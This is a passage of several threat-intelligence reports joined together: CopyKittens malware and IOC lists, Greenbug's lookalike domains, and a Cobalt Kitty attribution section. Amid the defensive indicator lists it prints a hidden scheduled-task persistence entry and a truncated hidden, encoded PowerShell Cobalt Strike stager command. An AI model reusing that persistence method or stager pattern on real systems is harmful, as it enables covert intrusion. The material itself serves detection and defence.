+slbdnsn1
+slbsbmn1
+slbsmbk1
+Each of these options injects a Cobalt Strike beacon or shellcode into the 
+rundll32
+ process.
+Indicators of Compromise
+File names:
+netsrv.exe
+netsrva.exe
+netsrvd.exe
+netsrvs.exe
+Services:
+netsrv
+netsrvs
+netsrvd
+Registry Keys:
+HKLM\System\CurrentControlSet\Services\netsrv
+HKLM\System\CurrentControlSet\Services\netsrvs
+Page 32 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+HKLM\System\CurrentControlSet\Services\netsrvd
+Matryoshka v1 
+ RAT
+Matryoshka v1 is a RAT analyzed in the 2015 report by ClearSky and Minerva.38 It uses DNS for command and
+control communication, and has common RAT capabilities such as stealing Outlook passwords, screen
+grabbing, keylogging, collecting and uploading files, and giving the attacker Meterpreter shell access. We have
+seen this version of Matreyoshka in the wild from July 2016 until January 2017.
+The Matryoshka.Reflective_Loader injects the module Matryoshka.Rat, which has the same persistence keys
+and communication method described in the original report.
+Indicators of Compromise
+File name
+Kernel.dll
+win.dll
+update5x.dll
+22092014_ver621.dll
+94ba33696cd6ffd6335948a752ec9c19
+d9aa197ca2f01a66df248c7a8b582c40
+506415ef517b4b1f7679b3664ad399e1
+1ca03f92f71d5ecb5dbf71b14d48495c
+Command and control
+cloudflare-statics[.]com
+cloudflare-analyse[.]com
+mswordupdate17[.]com
+Registry Keys:
+HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\{0355F5D0-467C-30E9-894CC2FAEF522A13}
+HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{0355F5D0-467C-30E9-894C-C2FAEF522A13}
+Scheduled Tasks:
+\Windows\Microsoft Boost Kernel Optimization
+Windows Boost Kernel
+Matreyoshka v2 
+ RAT
+Matryoshka v2 (bd38cab32b3b8b64e5d5d3df36f7c55a) is mostly like Matreyoshka v1 but has fewer
+commands and a few other minor changes. Upon starting it will inject the communication module
+to all available processes (with the same run architecture and the same or lower level of permission).
+The inner name of Svchost
+s is Injector.dll. The next stage, in memory, is ReflectiveDLL.dll. The ReflectiveDLL.dll
+provides persistence via a schedule task and checks that the stager, Injector.dll, exist on disk.
+ReflectiveDLL.dll gets commands via the following DNS resolutions:
+Command
+Resolved IP
+Functionality
+Send full info 104.40.211.100 Send host information
+Beacon
+MessageBox
+104.40.211.11
+104.40.211.12
+Get UID
+104.40.211.13
+Inject Cobalt Strike beacon
+Pop MessageBox with simple note (Only if injected into process with user
+interface)
+Send UID
+Exit
+104.40.211.14
+Exit the process the thread was injected into
+OK_StopParse 161.69.29.251
+keep-alive or end chain of commands
+www.clearskysec.com/report-the-copykittens-are-targeting-israelis/
+Page 33 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Indicators of Compromise
+File names:
+Svchost32.swp
+Svchost64.swp
+Md5:
+bd38cab32b3b8b64e5d5d3df36f7c55a
+Folder path:
+[windrive]\Users\public\
+[windrive]\Windows\temp\
+[windrive]\Windows\tmp\
+Files:
+LogManager.tmp
+edg1CF5.tmp (malware backup copy)
+ntuser.swp (malware backup copy)
+svchost64.swp(malware main file)
+ntuser.dat.swp (log file)
+455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction (folder)
+_%d.klg (keylog file, random integer)
+_%d.sc (screen capture file, random integer)
+Command and control:
+winupdate64[.]com
+Services:
+sdrsrv
+Class from CPP RTTI:
+PSCL_CLASS_JOB_SAVE_CONFIG
+PSCL_CLASS_BASE_JOB
+Page 34 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+ZPP 
+ File Compressor
+ZPP (bcae706c00e07936fc41ac47d671fc40) is a .NET console program that compresses files with the ZIP
+algorithm. It can transfer compressed files to a remote network share.
+Command line options are as follows:
+-I - File extension to compress (i.e.: .txt)
+-s - Source directory
+-d - Destination directory
+-gt - Greater than creation timestamp
+-lt - Lower than creation timestamp
+-mb - Unimplemented
+-o - Output file name
+-e - File extension to skip (except)
+ZPP will recursively read all files in the source directory to compress them with the maximum compression
+rate if their names match the extension pattern given (-i). The compressed ZIP file is written to the output
+directory (-d). If no output file name is set, ZPP will use the mask zpp<random_number>.out. <file_number>.
+For example:
+Filename is zpp5077.out0
+The file compilation timestamp is Tue, 05 Jul 2016 17:22:59 UTC.
+ad09feb76709b825569d9c263dfdaaac is a previous version (compilation timestamp: Sat, 09 Jan 2016 17:02:38
+UTC) and is only different in that it accepts the 
+e switch, which ignored by the program logic.
+214be584ff88fb9c44676c1d3afd7c95 is the newest version (compilation timestamp: Mon, 26 Sep 2016
+19:49:34 UTC). It is supposed to implement the 
+s switch but although it is set when the user gives it to the
+program, the switch is ignored by the code.
+ZPP version 2.0
+ZPP seems to be under development. All versions have bugs.
+It uses the reduced version of DotNetZip library. 39 Therefore, it requires Ionic.Zip.Reduced.dll
+(7c359500407dd393a276010ab778d5af) to be under the same directory or %PATH%.
+Function doCompressInNetWorkDirectory() is intended to exfiltrate date from a target machine to a network
+share.
+https://dotnetzip.codeplex.com
+Page 35 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+ZPP doCompressInNetWorkDirectory() function
+Passing it a network location will result in the compressed files being dropped in it:
+Passing a network location to ZPP
+Indicators of Compromise
+File name:
+zpp.exe
+md5:
+bcae706c00e07936fc41ac47d671fc40
+ad09feb76709b825569d9c263dfdaaac
+214be584ff88fb9c44676c1d3afd7c95
+Cobalt Strike
+Cobalt Strike is a publicly available commercial software for "Adversary Simulations and Red Team
+Operations."40 While not malicious in and of itself, it is often used by cybercrime groups and state-sponsored
+threat groups, due to its post-exploitation and covert communication capabilities. 41 4243 44
+CopyKittens use the free 21-day trial version of Cobalt Strike. Thus, malicious communication generated by
+the tool is much easier to detect, because a special header is sent in each HTTP GET transaction. The special
+header is "X-Malware," i.e. there is a literal indication that "this network communication is malicious." All that
+https://www.cobaltstrike.com
+https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
+https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
+https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-theoceanlotus-group/
+http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ONCHINAS-GOVERNMENT-AGENCY-.pdf
+Page 36 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+defender need to do to detect infections is to look for this header in network traffic. Other "tells" are
+implemented in the trail version.45
+CopyKittens often use Cobalt Strike's DNS based command and control capability.46 Other capabilities include
+PowerShell scripts execution, keystrokes logging, taking screenshots, file downloads, spawning other payloads,
+and peer-to-peer communication over the SMB.
+Persistency
+The attackers used a novel way for persistency of Cobalt Strike samples in certain machine 
+ a scheduled task
+was written directly to the registry.
+The malware creates a PowerShell wrapper, which executes powershell.exe to run scripts. The wrapper is
+copied to %windir% with one of the following names:
+svchost.exe
+csrss.exe
+notpad.exe (note missing e)
+conhost.exe
+The scheduled tasks are saved in the following registry path:
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
+With the following attributes:
+"Path"="\\Microsoft\\Windows\\Media Center\\ConfigureLocalTimeService"
+"Description"="Media Center Time Update From Computer Local Time."
+"Actions"=hex:01,00,66,66,00,00,00,00,2c,00,00,00,43,00,3a,00,5c,00,57,00,69,\
+00,6e,00,64,00,6f,00,77,00,73,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,\
+74,00,2e,00,65,00,78,00,65,00,7e,31,00,00,2d,00,6e,00,6f,00,70,00,20,00,2d,\
+00,77,00,20,00,68,00,69,00,64,00,64,00,65,00,6e,00,20,00,2d,00,65,00,6e,00,\
+63,00,6f,00,64,00,65,00,64,00,63,00,6f,00,6d,00,6d,00,61,00,6e,00,64,00,20,\
+00,4a,00,41,00,42,00,7a,00,41,00,44,00,30,00,41,00,54,00,67,00,42,00,6c,00,\
+The hex code in the Actions attribute is converted into the following command line action:
+C:\Windows\svchost.exe -nop -w hidden -encodedcommand JABzAD0ATgBl[
+The executed command is a base64 encoded PowerShell cobalt strike stager.
+The task does not have a name attribute and it does not appear in windows scheduled task viewers. The
+installation methods of this persistency method is unknown to us.
+Metasploit
+A well-known free and open source framework for developing and executing exploit code against a remote
+target machine.47 It has more than 1,610 exploits, as well as more than 438 payloads, which include command
+shell that enables users to run collection scripts or arbitrary commands against the host. Meterpreter, which
+enables users to control the screen of a device using VNC and to browse, upload and download files. It also
+employs dynamic payloads that enables users to evade antivirus defenses by generating unique payloads.48
+https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/
+https://www.cobaltstrike.com/help-dns-beacon
+https://www.metasploit.com
+https://en.wikipedia.org/wiki/Metasploit_Project
+Page 37 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Empire Post-exploitation Framework
+In several occasions the attackers used Empire, a free and open source "post-exploitation framework that
+includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.49 The framework
+offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire
+implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable postexploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network
+detection, all wrapped up in a usability-focused framework."
+https://github.com/EmpireProject/Empire
+Page 38 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Indicators of Compromise
+Detection name
+Detection name
+Detection name
+Detection name
+Detection name
+Detection name
+Detection name
+Detection name
+Detection name
+SSLCertificate
+SSLCertificate
+SSLCertificate
+SSLCertificate
+SSLCertificate
+SSLCertificate
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+BKDR_COBEACON.A
+TROJ_POWPICK.A
+HKTL_PASSDUMP
+TROJ_SODREVR.A
+TROJ_POWSHELL.C
+BKDR_CONBEA.A
+TSPY64_REKOTIB.A
+HKTL_DIRZIP
+TROJ_WAPPOME.A
+http://js[.]jguery[.]net/main[.]js
+http://pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.]online/winini[.]exe
+http://38[.]130[.]75[.]20/check[.]html
+http://update[.]microsoft-office[.]solutions/license[.]doc
+http://update[.]microsoft-office[.]solutions/error[.]html
+http://main[.]windowskernel14[.]com/spl/update5x[.]zip
+http://img[.]twiterstatics[.]info/i/658A6D6AE42A658A6D6AE42A/0de9c5c6599fdf5201599ff9b30e0000/6E24E58CF
+C94/icon[.]png
+http://files0[.]terendmicro[.]com/
+http://ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-govermenttechcenter[.]tech/%D7%A1%D7%A7%D7%A8%20%D7%A9%D7%A0%D7%AA%D7%99[.]docx
+http://ea-in-f155[.]1e100[.]microsoft-security[.]host/
+https://ea-in-f155[.]1e100[.]microsoft-security[.]host/mTQJ
+http://iba[.]stage[.]7338879[.]i[.]gtld-servers[.]services
+http://doa[.]stage[.]7338879[.]i[.]gtld-servers[.]services
+http://fda[.]stage[.]7338879[.]i[.]gtld-servers[.]services
+http://rqa[.]stage[.]7338879[.]i[.]gtld-servers[.]services
+http://qqa[.]stage[.]7338879[.]i[.]gtld-servers[.]services
+http://api[.]02ac36110[.]49318[.]a[.]gtld-servers[.]zone
+s1w-amazonaws.office-msupdate[.]solutions
+a104-93-82-25.mandalasanati[.]info/iBpa
+http://fetchnews-agency[.]news-bbc.press/pictures.html
+http://fetchnews-agency.news-bbc.press/omnews.doc
+http://fetchnews-agency[.]news-bbc.press/en/20170/pictures.doc
+fa3d5d670dc1d153b999c3aec7b1d815cc33c4dc
+b11aa089879cd7d4503285fa8623ec237a317aee
+07317545c8d6fc9beedd3dd695ba79dd3818b941
+3c0ecb46d65dd57c33df5f6547f8fffb3e15722d
+1c43ed17acc07680924f2ec476d281c8c5fd6b4a
+8968f439ef26f3fcded4387a67ea5f56ce24a003
+206.221.181.253
+66.55.152.164
+68.232.180.122
+173.244.173.11
+173.244.173.12
+173.244.173.13
+209.190.20.149
+209.190.20.59
+209.190.20.62
+209.51.199.116
+38.130.75.20
+Page 39 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+185.92.73.194
+144.168.45.126
+198.55.107.164
+104.200.128.126
+104.200.128.161
+104.200.128.173
+104.200.128.183
+104.200.128.184
+104.200.128.185
+104.200.128.187
+104.200.128.195
+104.200.128.196
+104.200.128.198
+104.200.128.205
+104.200.128.206
+104.200.128.208
+104.200.128.209
+104.200.128.48
+104.200.128.58
+104.200.128.64
+104.200.128.71
+107.181.160.138
+107.181.160.178
+107.181.160.194
+107.181.160.195
+107.181.161.141
+107.181.174.21
+107.181.174.228
+107.181.174.232
+107.181.174.241
+188.120.224.198
+188.120.228.172
+188.120.242.93
+188.120.243.11
+188.120.247.151
+62.109.2.52
+188.120.232.157
+185.118.65.230
+185.118.66.114
+141.105.67.58
+141.105.68.25
+141.105.68.26
+141.105.68.29
+141.105.69.69
+141.105.69.70
+141.105.69.77
+31.192.105.16
+31.192.105.17
+31.192.105.28
+146.0.73.109
+146.0.73.110
+146.0.73.111
+146.0.73.112
+146.0.73.114
+Page 40 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+IPv4Address
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+217.12.201.240
+217.12.218.242
+5.34.180.252
+5.34.181.13
+86.105.18.5
+93.190.138.137
+212.199.61.51
+80.179.42.37
+80.179.42.44
+176.31.18.29
+188.165.69.39
+51.254.76.54
+158.69.150.163
+192.99.242.212
+198.50.214.62
+a60a32f21ac1a2ec33135a650aa8dc71
+94ba33696cd6ffd6335948a752ec9c19
+bcae706c00e07936fc41ac47d671fc40
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+1ca03f92f71d5ecb5dbf71b14d48495c
+bd38cab32b3b8b64e5d5d3df36f7c55a
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+41466bbb49dd35f9aa3002e546da65eb
+8f6f7416cfdf8d500d6c3dcb33c4f4c9e1cd33998c957fea77fbd50471faec88
+02f2c896287bc6a71275e8ebe311630557800081862a56a3c22c143f2f3142bd
+2df6fe9812796605d4696773c91ad84c4c315df7df9cf78bee5864822b1074c9
+55f513d0d8e1fd41b1417a0eb2afff3a039a9529571196dd7882d1251ab1f9bc
+da529e0b81625828d52cd70efba50794
+1f9910cafe0e5f39887b2d5ab4df0d10
+0feb0b50b99f0b303a5081ffb3c4446d
+577577d6df1833629bfd0d612e3dbb05
+165f8db9c6e2ca79260b159b4618a496e1ed6730d800798d51d38f07b3653952
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+b571c8e0e3768a12794eaf0ce24e6697
+e319f3fb40957a5ff13695306dd9de25
+acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a
+8c8496390c3ad048f2a0a4031edfcdac819ee840d32951b9a1a9337a2dcbea25
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+afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77
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+7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb
+9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb
+Page 41 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
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+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
+Hash
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+Hash
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+Hash
+Hash
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+Hash
+Hash
+Hash
+Hash
+Filename
+Filename
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+Filename
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+config.exe
+Strike.doc
+malware.doc
+PDFOPENER_CONSOLE.exe
+Ma_1.tmp
+Wextract
+The%20United%20Nations%20Counter.doc.docx
+netsrvs.exe
+Date.dotm
+ssl.docx
+Page 42 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Filename
+Filename
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+Domain
+Domain
+Domain
+Domain
+Domain
+Domain
+o040t.exe
+m8f7s.exe
+d5tjo.exe
+LogManager.tmp
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+ur96r.exe
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+F123321.exe
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+Page 43 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Domain
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+Page 44 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
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+be-5-0-ibr01-lts-ntwk-msn[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.]com
+Page 45 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
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+cyb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co
+ns1[.]winupdate64[.]com
+ns1[.]twiter-statics[.]info
+40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.]co
+update[.]microsoft-office[.]solutions
+wk-in-f104[.]1e100[.]n[.]microsoft[.]qoldenlines[.]net
+ns1[.]fb-statics[.]com
+ns2[.]fb-statics[.]com
+is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology
+img[.]gmailtagmanager[.]com
+wk-in-f104[.]1c100[.]n[.]microsoft-security[.]host
+msnbot-sd7-46-cdn[.]microsoft-security[.]host
+msnbot-sd7-46-img[.]microsoft-security[.]host
+ns2[.]winupdate64[.]com
+msnbot-sd7-46-194[.]microsoft-security[.]host
+ea-in-f155[.]1e100[.]microsoft-security[.]host
+msnbot-207-46-194[.]microsoft-security[.]host
+img[.]twiter-statics[.]info
+msnbot-sd7-46-cdn[.]microsoft-security[.]host
+ns2[.]wheatherserviceapi[.]info
+ns1[.]windowkernel[.]com
+ns2[.]windowkernel[.]com
+ns2[.]fbstatic-a[.]space
+ns1[.]fbstatic-a[.]space
+api[.]TwitEr-Statics[.]info
+ns2[.]mcafee-analyzer[.]com
+21666[.]mpmicrosoft[.]com
+22830[.]officeapps-live[.]org
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+ns1[.]mcafee-analyzer[.]com
+ns1[.]fbstatic-akamaihd[.]com
+ns1[.]static[.]dyn-usr[.]gsrv01[.]ssl-gstatic[.]online
+ns2[.]officeapps-live[.]org
+wk-in-f104[.]1e100[.]n[.]microsoft-security[.]host
+ns1[.]mpmicrosoft[.]com
+www[.]microsoft-security[.]host
+ns2[.]fbstatic-akamaihd[.]com
+ns1[.]cachevideo[.]online
+wk-in-f100[.]1e100[.]n[.]microsoft-security[.]host
+ns1[.]officeapps-live[.]org
+ns2[.]mpmicrosoft[.]com
+ns02[.]nsserver[.]host
+ns2[.]cachevideo[.]online
+be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.]com
+static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.]com
+www[.]alkamaihd[.]com
+ae13-0-hk2-96cbe-1a-ntwk-msn[.]alkamaihd[.]com
+ns2[.]microsoft-ds[.]com
+adcenter[.]microsoft-ds[.]com
+ns1[.]microsoft-ds[.]com
+ns1[.]mswordupdate17[.]com
+Page 46 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
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+ns2[.]cloudflare-analyse[.]com
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+float[.]2963[.]bm-imp[.]akamaitechnology[.]tech
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+ns1[.]mpmicrosoft[.]com
+ns2[.]mpmicrosoft[.]com
+jpsrv-java-jdkec1[.]javaupdate[.]co
+microsoft-active[.]directory_update-change-policy[.]primeminister-goverment-techcenter[.]tech
+jpsrv-java-jdkec3[.]javaupdate[.]co
+nameserver02[.]javaupdate[.]co
+jpsrv-java-jdkec2[.]javaupdate[.]co
+static[.]dyn-usr[.]f-login-me[.]c19[.]a23[.]akamaitechnology[.]com
+static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]alkamaihd[.]net
+ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-goverment-techcenter[.]tech
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+ns2[.]static[.]dyn-usr[.]gsrv02[.]ssl- gstatic[.]online
+static[.]primeminister-goverment-techcenter[.]tech
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+d45[.]a63[.]alkamaihd[.]net
+ns1[.]officeapps-live[.]org
+ns2[.]outlook360[.]org
+ns2[.]officeapps-live[.]org
+ns2[.]win-update[.]com
+aaa[.]stage[.]14043411[.]email[.]sharepoint-microsoft[.]co
+ns1[.]updatedrivers[.]org
+a17-h16[.]g11[.]iad17[.]as[.]pht-external[.]c15[.]qoldenlines[.]net
+ns1[.]windefender[.]org
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+ns2[.]windefender[.]org
+ns1[.]win-update[.]com
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+ns2[.]ipresolver[.]org
+ns1[.]ipresolver[.]org
+www[.]is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology[.]com
+11716[.]cachevideo[.]com
+ns1[.]intelchip[.]org
+Page 47 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
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+ns2[.]fbstatic-akamaihd[.]com
+ns1[.]javaupdator[.]com
+ns2[.]outlook360[.]net
+ns01[.]nameserver[.]win
+ns2[.]javaupdator[.]com
+ns2[.]intelchip[.]org
+TATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.]ONLINe
+STATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.]online
+ns1[.]labs-cloudfront[.]com
+ns2[.]labs-cloudfront[.]com
+www[.]broadcast-microsoft[.]tech
+www[.]newsfeeds-microsoft[.]press
+www[.]owa-microsoft[.]online
+static[.]c20[.]jdk[.]cdn-external-ie[.]1e100[.]tech
+ns1[.]cloud-analyzer[.]com
+ns2[.]cloud-analyzer[.]com
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+ns1[.]cachevideo[.]com
+ns1[.]outlook360[.]net
+3012[.]digicert[.]online
+24984[.]cloudflare-statics[.]com
+7737[.]cachevideo[.]com
+hda[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co
+msdn[.]winupdate64[.]net
+kja[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co
+Page 48 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Iranian Threat Agent Greenbug Impersonates Israeli HighTech and Cyber Security Companies
+clearskysec.com /greenbug/
+Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber
+Security Companies.
+On 15 October 2017 a sample of ISMdoor was submitted to VirusTotal from Iraq. The sample name
+was WmiPrv.tmp (f5ef3b060fb476253f9a7638f82940d9) and it had the following PDB string:
+C:\Users\Void\Desktop\v 10.0.194\x64\Release\swchost.pdb
+Two domains were used for command and control:
+thetareysecurityupdate[.]com
+securepackupdater[.]com
+By pivoting off the registration details and servers data of the two domains we discovered others registered by the
+threat agent. Eight contain the name of Israeli high-tech and cyber security companies and one of a Saudi Arabian
+testing & commissioning of major electrical equipment company.
+We estimate that the domains were registered in order to be used when targeting these companies, organisations
+related to them, or unrelated third parties. However, we do not have any indication that the companies were actually
+targeted or otherwise impacted.
+Below are the malicious domains and the companies who
+s names were used.
+Malicious Domain
+Impersonated company
+Registration
+date
+winsecupdater[.]com
+11/6/2016
+dnsupdater[.]com
+12/4/2016
+winscripts[.]net
+3/4/2017
+allsecpackupdater[.]com
+Uncertain
+lbolbo[.]com
+4/8/2017
+4/8/2017
+securepackupdater[.]com
+Uncertain
+4/8/2017
+thetaraysecurityupdate[.]com
+ThetaRay (thetaray.com) 
+ An Israeli cyber security and big data
+analytics company
+4/8/2017
+ymaaz[.]com
+YMAAZE (ymaaze.com) 
+ A Saudi Arabian testing &
+commissioning of major electrical equipment company
+4/8/2017
+oospoosp[.]com
+8/9/2017
+osposposp[.]com
+8/9/2017
+znazna[.]com
+8/9/2017
+mbsmbs[.]com
+8/9/2017
+outbrainsecupdater[.]com
+Outbrain (outbrain.com)
+ A major Israeli online advertising
+company
+8/9/2017
+securelogicupdater[.]com
+SecureLogic (space-logic.com) 
+ Likely an Israeli marketer of
+airport security systems by the same name. Other companies with
+the same name exist.
+8/9/2017
+benyaminsecupdater[.]com
+Uncertain
+8/9/2017
+wixwixwix[.]com
+Wix (wix.com) 
+ A major Israeli cloud-based web development
+platform
+8/9/2017
+biocatchsecurity[.]com
+Biocatch (biocatch.com) 
+ an Israeli company developing
+technology for behavioral biometrics for fraud prevention and
+detection
+10/14/2017
+corticasecurity[.]com
+Cortica (cortica.com) 
+ an Israeli company developing Artificial
+Intelligence technology
+10/14/2017
+covertixsecurity[.]com
+Covertix (covertix.com) 
+ An Israeli data security company
+10/14/2017
+arbescurity[.]com
+Arbe Robotics (arberobotics.com)
+ An Israeli company
+developing autonomous driving technology
+10/14/2017
+Indicators of compromise
+Indicators of compromise are presented below and are available on PassiveTotal.
+Domain
+allsecpackupdater[.]com
+Domain
+znazna[.]com
+Domain
+arbescurity[.]com
+Domain
+benyaminsecupdater[.]com
+Domain
+biocatchsecurity[.]com
+Domain
+corticasecurity[.]com
+Domain
+covertixsecurity[.]com
+Domain
+dnsupdater[.]com
+Domain
+lbolbo[.]com
+Domain
+mbsmbs[.]com
+Domain
+ntpupdateserver[.]com
+Domain
+oospoosp[.]com
+Domain
+osposposp[.]com
+Domain
+outbrainsecupdater[.]com
+Domain
+securelogicupdater[.]com
+Domain
+securepackupdater[.]com
+Domain
+thetaraysecurityupdate[.]com
+Domain
+winscripts[.]net
+Domain
+winsecupdater[.]com
+Domain
+wixwixwix[.]com
+Domain
+ymaaz[.]com
+Domain
+benyaminsecupdater[.]com
+Filename
+WmiPrv.tmp
+Hash
+37d586727c1293d8a278b69d3f0c5c4b
+Hash
+82755bf7ad786d7bf8da00b6c19b6091
+Hash
+ad5120454218bb483e0b8467feb3a20f
+Hash
+e0175eecf8d31a6f32da076d22ecbdff
+Hash
+f5ef3b060fb476253f9a7638f82940d9
+151.80.113.150
+151.80.221.23
+217.182.244.254
+46.105.130.98
+5.39.31.91
+80.82.66.164
+SSLCertificate 3b0b85ea32cab82eaf4249c04c05bdfce5b6074ca076fedf87dbea6b28fab99d
+The Maltego graph below depicts the relationship among the indicators (click to enlarge):
+Update 2017-10-25 
+ three hashes removed from IOC list
+The following hashes were mistakenly included in the IOC list
+and have been removed, as they are unrelated to the campaign:
+c594b52ec8922a1e980a2ea31b1d1157
+179cb8839e9ee8e9e6665b0986bf7811
+d30c4df6de21275ae69a4754fc2372ef
+Operation Cobalt Kitty
+Threat Actor Profile &
+Indicators of Compromise
+By: Assaf Dahan
+2016 Cybereason. All rights reserved.
+Attribution
+In this APT, the threat actor was very aware of the risks of exposure and tried to combat
+attribution as much as possible. This is often the case in this type of large-scale cyber
+espionage operations. At the time of the attack, there weren
+t many classic indicators of
+compromise (IOCs) that could lead to attribution. However, at the same time, the threat actors
+behind Operation Cobalt Kitty left enough 
+behavioral fingerprints
+ to suspect the involvement of
+the OceanLotus Group (which also goes by the names APT-C-00, SeaLotus and APT32),
+which was first documented by Qihoo 360's SkyEye Labs in 2015 and further researched by
+other security companies, including FireEye
+s report. Reports of the group
+s activity in Asia date
+back to 2012, attacking Chinese entities. Over the years, the group was observed attacking a
+wide spectrum of targets in other Asian countries (Philippines and Vietnam). Cybereason
+concludes that the tactics, techniques and procedures (TTPs) observed throughout operation
+Cobalt Kitty are consistent with the group
+s previous APT campaigns in Asia.
+The Lotus Group appears to have a tendency of using similar and even identical names for their
+payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers). In
+addition, they also used similar anonymization services for their domains repeatedly. That type
+small
+ details also played a role in attributing Operation Cobalt Kitty to the OceanLotus
+Group.
+Lastly, during the investigation, Cybereason noticed that some of the C&C domains and IPs
+started to emerge on VirusTotal and other threat intelligence engines, with payloads that were
+not observed during Cobalt Kitty. This was a cutting proof that Cobalt Kitty was not an isolated
+APT, but part of something bigger. Example of the C&C domains and IPs used by the group
+across different APT campaigns and caught in the wild:
+*.chatconnecting(.)com
+blog.versign(.)com
+vieweva(.)com
+tulationeva(.)com
+teriava(.)com
+tonholding(.)com
+nsquery(.)net
+notificeva(.)com
+23.227.196(.)210
+104.237.218(.)72
+45.114.117(.)137
+Some of these domains were also mentioned in FireEye
+s APT32 report, further confirming our
+suspicions that the group behind the attack is the OceanLotus Group.
+The group includes members who are fluent in at least two Asian languages. This claim is
+supported by the language used in the spear-phishing emails, which appear to be written by
+native speakers. In addition, the language localization settings found in few of the payloads
+suggest that the malware authors compiled the payloads on machines with Asian languages
+2017 Cybereason Inc. All rights reserved.
+support. The threat actors are not likely native English speakers since multiple typos were found
+in their payloads.
+For example, the following typo was observed in the file metadata of one of the backdoors.
+Notice the 
